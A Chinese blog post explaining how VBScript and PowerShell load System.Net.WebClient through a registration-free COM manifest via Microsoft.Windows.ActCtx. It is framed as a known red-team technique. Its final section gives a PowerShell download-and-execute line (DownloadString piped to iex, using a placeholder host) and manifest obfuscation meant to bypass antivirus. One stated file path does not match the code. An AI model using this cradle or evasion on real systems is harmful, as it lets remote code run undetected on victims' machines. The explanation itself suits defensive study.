vbs调用.net com组件中的一个疑点解释
liebian365 2024-11-18 14:20 2 浏览 0 评论
很久前,网上就流传过一份vbs代码,可以调用System.Net.WebClient来下载文件。这份代码如下:
manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""?>"
manifest = manifest &"<assembly manifestVersion=""1.0"" xmlns=""urn:schemas-microsoft-com:asm.v1"">"
manifest = manifest &"<assemblyIdentity name=""System"" version=""4.0.0.0"" publicKeyToken=""B77A5C561934E089"" />"
manifest = manifest &"<clrClass clsid=""{7D458845-B4B8-30CB-B2AD-FC4960FCDF81}"" progid=""System.Net.WebClient"" threadingModel=""Both"" name=""System.Net.WebClient"" runtimeVersion=""v4.0.30319"" /></assembly>"
set ax = CreateObject("Microsoft.Windows.ActCtx")
ax.ManifestText = manifest
Set sNetClient = ax.CreateObject("System.Net.WebClient")
webstuff = sNetClient.DownloadFile("http://127.0.0.1/22.7z","g:/22.7z")
wsh.echo webstuff
这里的代码主要流程如下:
1、构建XML清单:
代码首先创建了一个XML清单字符串,定义了程序集的身份和所需的CLR类。这个清单指定了要使用的.NET Framework版本和System.Net.WebClient类。
2、创建激活上下文:
使用Microsoft.Windows.ActCtx创建一个激活上下文对象,并将XML清单设置为其ManifestText属性。
3、创建WebClient对象:
通过激活上下文创建System.Net.WebClient对象,这允许在没有安装.NET Framework的环境中使用.NET类。
4、下载文件:
使用WebClient对象的DownloadFile方法从指定URL下载文件,并将其保存到本地路径(d:/calc.exe)。
5、输出结果:
尝试输出下载操作的结果(虽然DownloadFile方法通常不返回值)。
最让人疑惑的就是mainifest变量中引入的xml清单,这份清单到底是什么?为什么要这么写。
其实这里引入免注册 COM 激活技术。传统上, COM 服务器 DLL 必须由 regsrv32.exe 注册,然后任何 COM 客户端才能与其交互。简而言之,regsrv32.exe 会向注册表添加一些键值对,以绑定和激活 COM 服务器。但是,与应用程序清单(嵌入或捆绑)配对的 COM 服务器 DLL 无需注册即可加载;因为清单中的信息足以绑定和激活 COM 服务器。
具体技术可以参考https://learn.microsoft.com/en-us/dotnet/framework/interop/configure-net-framework-based-com-components-for-reg和https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/ms973915(v=msdn.10)。这都是2021年或更早的技术了。这两篇文章中微软提到用后缀.manifest保存这些清单,并用.rc文件配置(这里不提,你可以自己去读。)
现在我们来说一下,像publicKeyToken=""B77A5C561934E089""和clsid:7D458845-B4B8-30CB-B2AD-FC4960FCDF81等变量,这里能否更改。
clsid肯定是可以变的。因为用了免注册com组件,只要guid符合格式即可以,你可以随便改个字母和数字都可以。publicKeyToken是不可以变的。
在 Windows 10 中,%SystemRoot%WinSxS\Manifests 文件夹中就有中这些配置文件清单。不过用的是二进制增量压缩 (DCM.PA30 格式)进行压缩,而不是采用纯 XML 格式,我们可以用https://github.com/hfiref0x/SXSEXP来解压。
命令:SXSEXP < Source Directory > < Destination Directory >。我是解压了所有文件。
我们随便打开一个看一下:
是不是这样你就理解了manifest变量里的意思了?我们来搜索一下"System.Net",powershell下:
Get-ChildItem D:\SXSEXP\*.manifest -Recurse | Select-String -pattern "System.Net"
打开这个搜索到的文件你就会理解了。
再来说一下程序的publicKeyToken,里边的值B77A5C561934E089,从哪里来的。
我们可以用powershell代码获得。我开始找的是System.Net.WebClient,获得值并不一样,替换vbs后也不成功。后来发现System.Net.WebClient是从system.dll里来的。我们直接获取一下:
[System.BitConverter]::ToString([System.Reflection.Assembly]::LoadFile("C:\Windows\WinSxS\msil_system_b77a5c561934e089_10.0.19200.884_none_f8dd488acbf7dfd7\System.dll").GetName().GetPublicKeyToken()) -replace '-'
这样的值就和程序里的对应上了。
这篇文章简单讲了一下无需注册的 COM 互操作的内部工作原理,并介绍了一种已知的技术,红队可以滥用该技术来动态加载 .NET 程序集逻辑。这项技术是由大名鼎鼎的 Casey Smith首次提出的。
我们还可以把上边的vbs代码改为powershell,并进行混淆以绕过杀软。
$obj = New-Object -COM Microsoft.Windows.ActCTX
$obj.ManifestText = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" ><assemblyIdentity name="System" version="4.0.0.0" publicKeyToken="B77A5C561934E089" /><clrClass clsid="{7D458845-B4B8-30CB-B2AD-FC4960FCDF81}" progid="System.Net.WebClient" threadingModel="Both" name="System.Net.WebClient" runtimeVersion="v4.0.30319" /></assembly>'
$dummy = $obj.CreateObject('System.Net.WebClient')
$dummy.DownloadString("http://www.example.com") | iex
我们把“clrClass”中的“name”和“progid”的值设置为任意文字字符串。当我们调用 CreateObject 函数时,我们应该传递与“progid”属性匹配的字符串即可。其次,我们可以应用替代(十六进制)字符编码来屏蔽属性值。例如,ASCII 字符“{”的十六进制值为 0x7b,将表示为“{”。 PowerShell 代码可以做以下混淆:
$obj = New-Object -COM Microsoft.Windows.ActCTX
$obj.ManifestText = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" ><assemblyIdentity name="System" version="4.0.0.0" publicKeyToken="B77A5C561934E089" /><clrClass clsid="{7D458845-B4B8-30CB-B2AD-FC4960FCDF81}" progid="abc" threadingModel="Both" name="something" runtimeVersion="v4.0.30319" /></assembly>'
$dummy = $obj.CreateObject('abc')
$dummy.DownloadString("http://www.example.com") | iex
具体参考:
https://inquest.net/blog/abusing-registration-free-com-interop/
相关推荐
- 快递查询教程,批量查询物流,一键管理快递
-
作为商家,每天需要查询许许多多的快递单号,面对不同的快递公司,有没有简单一点的物流查询方法呢?小编的回答当然是有的,下面随小编一起来试试这个新技巧。需要哪些工具?安装一个快递批量查询高手快递单号怎么快...
- 一键自动查询所有快递的物流信息 支持圆通、韵达等多家快递
-
对于各位商家来说拥有一个好的快递软件,能够有效的提高自己的工作效率,在管理快递单号的时候都需要对单号进行表格整理,那怎么样能够快速的查询所有单号信息,并自动生成表格呢?1、其实方法很简单,我们不需要一...
- 快递查询单号查询,怎么查物流到哪了
-
输入单号怎么查快递到哪里去了呢?今天小编给大家分享一个新的技巧,它支持多家快递,一次能查询多个单号物流,还可对查询到的物流进行分析、筛选以及导出,下面一起来试试。需要哪些工具?安装一个快递批量查询高手...
- 3分钟查询物流,教你一键批量查询全部物流信息
-
很多朋友在问,如何在短时间内把单号的物流信息查询出来,查询完成后筛选已签收件、筛选未签收件,今天小编就分享一款物流查询神器,感兴趣的朋友接着往下看。第一步,运行【快递批量查询高手】在主界面中点击【添...
- 快递单号查询,一次性查询全部物流信息
-
现在各种快递的查询方式,各有各的好,各有各的劣,总的来说,还是有比较方便的。今天小编就给大家分享一个新的技巧,支持多家快递,一次能查询多个单号的物流,还能对查询到的物流进行分析、筛选以及导出,下面一起...
- 快递查询工具,批量查询多个快递快递单号的物流状态、签收时间
-
最近有朋友在问,怎么快速查询单号的物流信息呢?除了官网,还有没有更简单的方法呢?小编的回答当然是有的,下面一起来看看。需要哪些工具?安装一个快递批量查询高手多个京东的快递单号怎么快速查询?进入快递批量...
- 快递查询软件,自动识别查询快递单号查询方法
-
当你拥有多个快递单号的时候,该如何快速查询物流信息?比如单号没有快递公司时,又该如何自动识别再去查询呢?不知道如何操作的宝贝们,下面随小编一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号若干...
- 教你怎样查询快递查询单号并保存物流信息
-
商家发货,快递揽收后,一般会直接手动复制到官网上一个个查询物流,那么久而久之,就会觉得查询变得特别繁琐,今天小编给大家分享一个新的技巧,下面一起来试试。教程之前,我们来预览一下用快递批量查询高手...
- 简单几步骤查询所有快递物流信息
-
在高峰期订单量大的时候,可能需要一双手当十双手去查询快递物流,但是由于逐一去查询,效率极低,追踪困难。那么今天小编给大家分享一个新的技巧,一次能查询多个快递单号的物流,下面一起来学习一下,希望能给大家...
- 物流单号查询,如何查询快递信息,按最后更新时间搜索需要的单号
-
最近有很多朋友在问,如何通过快递单号查询物流信息,并按最后更新时间搜索出需要的单号呢?下面随小编一起来试试吧。需要哪些工具?安装一个快递批量查询高手快递单号若干怎么快速查询?运行【快递批量查询高手】...
- 连续保存新单号功能解析,导入单号查询并自动识别批量查快递信息
-
快递查询已经成为我们日常生活中不可或缺的一部分。然而,面对海量的快递单号,如何高效、准确地查询每一个快递的物流信息,成为了许多人头疼的问题。幸运的是,随着科技的进步,一款名为“快递批量查询高手”的软件...
- 快递查询教程,快递单号查询,筛选更新量为1的单号
-
最近有很多朋友在问,怎么快速查询快递单号的物流,并筛选出更新量为1的单号呢?今天小编给大家分享一个新方法,一起来试试吧。需要哪些工具?安装一个快递批量查询高手多个快递单号怎么快速查询?运行【快递批量查...
- 掌握批量查询快递动态的技巧,一键查找无信息记录的两种方法解析
-
在快节奏的商业环境中,高效的物流查询是确保业务顺畅运行的关键。作为快递查询达人,我深知时间的宝贵,因此,今天我将向大家介绍一款强大的工具——快递批量查询高手软件。这款软件能够帮助你批量查询快递动态,一...
- 从复杂到简单的单号查询,一键清除单号中的符号并批量查快递信息
-
在繁忙的商务与日常生活中,快递查询已成为不可或缺的一环。然而,面对海量的单号,逐一查询不仅耗时费力,还容易出错。现在,有了快递批量查询高手软件,一切变得简单明了。只需一键,即可搞定单号查询,一键处理单...
- 物流单号查询,在哪里查询快递
-
如果在快递单号多的情况,你还在一个个复制粘贴到官网上手动查询,是一件非常麻烦的事情。于是乎今天小编给大家分享一个新的技巧,下面一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号怎么快速查询?...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- wireshark怎么抓包 (75)
- qt sleep (64)
- cs1.6指令代码大全 (55)
- factory-method (60)
- sqlite3_bind_blob (52)
- hibernate update (63)
- c++ base64 (70)
- nc 命令 (52)
- wm_close (51)
- epollin (51)
- sqlca.sqlcode (57)
- lua ipairs (60)
- tv_usec (64)
- 命令行进入文件夹 (53)
- postgresql array (57)
- statfs函数 (57)
- .project文件 (54)
- lua require (56)
- for_each (67)
- c#工厂模式 (57)
- wxsqlite3 (66)
- dmesg -c (58)
- fopen参数 (53)
- tar -zxvf -c (55)
- 速递查询 (52)